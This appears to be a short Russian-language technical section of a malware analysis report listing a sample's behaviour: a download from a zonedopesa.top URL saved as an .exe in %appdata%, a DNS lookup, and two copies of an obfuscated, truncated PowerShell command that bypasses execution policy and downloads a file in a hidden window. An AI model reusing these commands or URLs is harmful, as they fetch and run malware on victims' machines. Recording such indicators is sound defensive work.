Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "po^W^eRShEll.ex^e -Ex^EC^uTiOnP^OlICY Byp^aSS ^-NoPRO^f^IL^e^ ^-^w^in^D^O^WSTY^l^E^ h^i^dden (^N^EW-^Ob^jec^T ^SyS^teM.^N^ET.webC^Li^en^T).doWnLO^AD^fI^le('http://www.zonedo...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "po^W^eRShEll.ex^e -Ex^EC^uTiOnP^OlICY Byp^aSS ^-NoPRO^f^IL^e^ ^-^w^in^D^O^WSTY^l^E^ h^i^dden (^N^EW-^Ob^jec^T ^SyS^teM.^N^ET.webC^Li^en^T).doWnLO^AD^fI^le('http://www.zonedo...' (со скрытым окном)